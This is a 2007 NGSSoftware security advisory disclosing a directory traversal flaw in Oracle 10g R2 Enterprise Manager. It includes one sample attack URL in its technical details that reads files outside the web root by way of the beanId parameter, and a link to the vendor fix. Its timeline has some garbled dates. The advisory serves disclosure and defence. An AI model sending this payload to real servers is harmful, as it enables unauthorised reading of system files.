NGS-traversal.txt

`=======  
Summary  
=======  
Today: 31 January 2007  
Reference: NGS00402  
Discover: Mark Litchfield  
Name: Oracle 10g R2 Enterprise Manager Directory Traversal  
Safe Name: Oracle 10g R2 Enterprise Manager  
Vendor: Oracle  
Systems Affected: Oracle 10g R2 Enterprise Manager  
Risk: Medium  
Status: Published  
  
========  
TimeLine  
========  
Discovered: 22 August 2006  
Released: 22 Auguest 2006  
Approved: 22 August June 2006  
Reported: 22 August 2006  
Fixed: 16 January 2007  
Published: 30 January 2007  
  
===========  
Description  
===========  
10g R2 Enterprise Manager by default listens on TCP port 1158.  
  
In a normal HTTP instance a sample valid request would look something like   
the following:-  
  
http://192.168.0.3:1158/em/dynamicImage/emSDK/chart/EmChartBean?beanId=25C14C26F198301F559FBB5935F6285A.gif  
  
This translate to a PATH of:  
  
c:\oracle\product\10.2.0\db_1\oc4j\j2ee\oc4j_applications\em\em\images\chartcache\25C14C26F198301F559FBB5935F6285A.gif  
  
=================  
Technical Details  
=================  
  
Sample 'Attack Request'  
  
http://192.168.0.3:1158/em/dynamicImage/emSDK/chart/EmChartBean?beanId=\..\..\..\..\..\..\..\..\..\..\..\..\test.txt  
  
*********************************************************************************************************************  
  
===============  
Fix Information  
===============  
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2007.html  
  
NGSSoftware Insight Security Research  
http://www.ngssoftware.com  
http://www.databasesecurity.com/  
http://www.nextgenss.com/  
+44(0)208 401 0070  
  
  
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`